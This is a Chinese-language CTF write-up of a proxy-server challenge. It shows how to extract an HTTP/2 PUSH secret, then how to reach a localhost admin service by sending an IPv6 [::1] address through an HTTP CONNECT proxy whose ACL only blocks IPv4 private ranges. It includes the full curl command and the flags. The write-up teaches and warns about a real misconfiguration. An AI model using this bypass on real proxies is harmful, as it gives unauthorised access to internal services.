Skip to content

Latest commit

 

History

History
124 lines (99 loc) · 5.97 KB

File metadata and controls

124 lines (99 loc) · 5.97 KB

超安全的代理服务器

本地源代码在 src 文件夹下。

考察内容

本题设计指出是为了考察 HTTP 协议的一系列应用。更具体的来说,本题需要各位选手们在答题的过程中了解如下一些内容:

  1. HTTP2 的新特性 —— PUSH
  2. HTTP CONNECT 可以用于隧道代理
  3. 代理服务器的本地代理漏洞
  4. IPv6 协议

当然,为了避免不了解相关内容的同学做题时卡克,小 C 在设计本题的时候也希望尽可能充分的给足暗示,希望能够让大家稍微了解一下。

解法

使用大部分比较新浏览器打开本题的时候,都会提示 “Notice: 我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它。”,同时在帮助中心中也明确提示了“HTTP2”。只要将这两个关键词在谷歌中搜索,就可以找到大量关于 HTTP2 新特性 PUSH 的相关资料。 HTTP2 的更多资料参见 RFC 7540

Step 1: 获取 Secret

简单来说,HTTP2 PUSH 特性可以使得服务器更加主动地向浏览器推送资源,使得内容加载更加灵活和快速,但是 HTTP2 PUSH 的内容通常不会直接出现在浏览器的“开发人员工具”中,因此需要更加底层的调试和查看手段。我们在这里提供了两种查看的方法:

Method 1. 使用 Wireshark 抓包分析

一种很直观的查看方式是直接抓取原始流量进行分析,但是困难在于 h2 内容 大多经过 TLS 协议加密,因此直接查看只能看到加密后的内容。解决方法是提取浏览器中的 TLS 会话秘钥,就可以进行抓包和解密了。具体细节参见:这一篇文章

我们使用类似下面的命令可以启动浏览器并导出 TLS 秘钥,并使用 Wireshark 可以抓取到加密的 HTTP2 流量,我们观察到有 PUSH_PROMISE 的内容,具体是一个 URL。我们访问这个 URL 即可得到代理凭证 secret 和第一个flag pic/pic_1.png

Method 2. 使用 nghttp2 工具调试 HTTP2

还有另一个方法是使用命令行工具 nghttp2 来调试获取 push 的内容。

$ nghttp -sny https://146.56.228.227/
***** Statistics *****

Request timing:
  responseEnd: the  time  when  last  byte of  response  was  received
               relative to connectEnd
 requestStart: the time  just before  first byte  of request  was sent
               relative  to connectEnd.   If  '*' is  shown, this  was
               pushed by server.
      process: responseEnd - requestStart
         code: HTTP status code
         size: number  of  bytes  received as  response  body  without
               inflation.
          URI: request URI

see http://www.w3.org/TR/resource-timing/#processing-model

sorted by 'complete'

id  responseEnd requestStart  process code size request path
  2    +11.07ms *   +11.03ms     48us  200  571 /dab44e3a-6b65-4bda-a0f4-3bc1531b8a1c
 13    +11.09ms       +270us  10.82ms  200 1015 /

最终 flag1 相关的网页部分源代码如下:

<p style="color:blue;">Notice: secret: 9a33678d37 ! Please use this secret to access our proxy.(flag1: flag{d0_n0t_push_me} )</p>

Step 2. 入侵控制中心

此时我们已经可以访问我们的代理服务器了。从原理上说,我们的代理服务器使用的是 HTTP CONNECT 代理,其具体原理参考 RFC 7231

有了代理服务器,我们需要访问什么内容呢?其实从题目名字“入侵管理中心”就已经告诉了我们做题的方向了。通过点击“管理中心”这个非常可疑的链接 http://127.0.0.1:8080。这告诉我们需要访问服务器内网 8080 端口上的 http 服务。

其实大部分代理协议(甚至包括早期的“影子袜子”软件等)都可能存在如下漏洞:代理服务器没有过滤一系列私有 IP 段,导致用户可以访问一些本机上(或者内网中)并不希望对外可访问的服务。但是我们的访问控制列表控制的还是比较严密:

  • 全球单播地址
  • 10.0.0.0/8
  • 127.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16

其实 IPv4 的单播地址基本都被过滤干净了,可能可以想到可以使用 IPv6 的地址来试试。IPv6 协议中,本地地址通常是 [::1] 这样一个地址,因此可以来试试。在连接建立成功后,提示还需要 Referer,最终加上 Referer ,即可构造 exp 并获取 flag2。下面给出最终执行的命令以及关键输出。

$ curl http://\[::1\]:8080 -p -x https://146.56.228.227:443 -H "referer: https://146.56.228.227" -vvnn --proxy-insecure --proxy-header "Secret: da0d8b646b"

> CONNECT [::1]:8080 HTTP/1.1
> Host: [::1]:8080
> User-Agent: curl/7.64.1
> Proxy-Connection: Keep-Alive
> Secret: da0d8b646b
...
...
...
< HTTP/1.1 200 OK
< Content-Length: 0
...
...
...
> GET / HTTP/1.1
> Host: [::1]:8080
> User-Agent: curl/7.64.1
> Accept: */*
> referer: https://146.56.228.227
...
...
...
< HTTP/1.1 200 OK
< Date: Thu, 05 Nov 2020 11:54:21 GMT
< Content-Length: 32
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 146.56.228.227 left intact
flag2: flag{c0me_1n_t4_my_h0use}
...

一些提醒

  1. IPv6 规则配置不当其实应当引起重视。小 C 自己曾经见到某服务器配置了 200 余条 IPv4 iptables 规则,却放行了全部 IPv6 流量。功亏一篑~
  2. 一些代理相关软件至今都存在类似本地代理漏洞的风险,下面是“某白话文教程”中的代码片段原文:
      {
        "type": "field",
        "outboundTag": "direct",
        "ip": [
          "geoip:cn",
          "geoip:private"
        ]
      }
  1. 为了防止一些浏览器能够通过调试控制台得到 secret,小 C 曾经测试了 IE、旧 Edge、新 Edge、Chrome、Firefox、Safari 等主流桌面级浏览器。如果有同学知道有什么浏览器可以直接调试 http2的,可以告诉小 C。(黑曜石浏览器除外)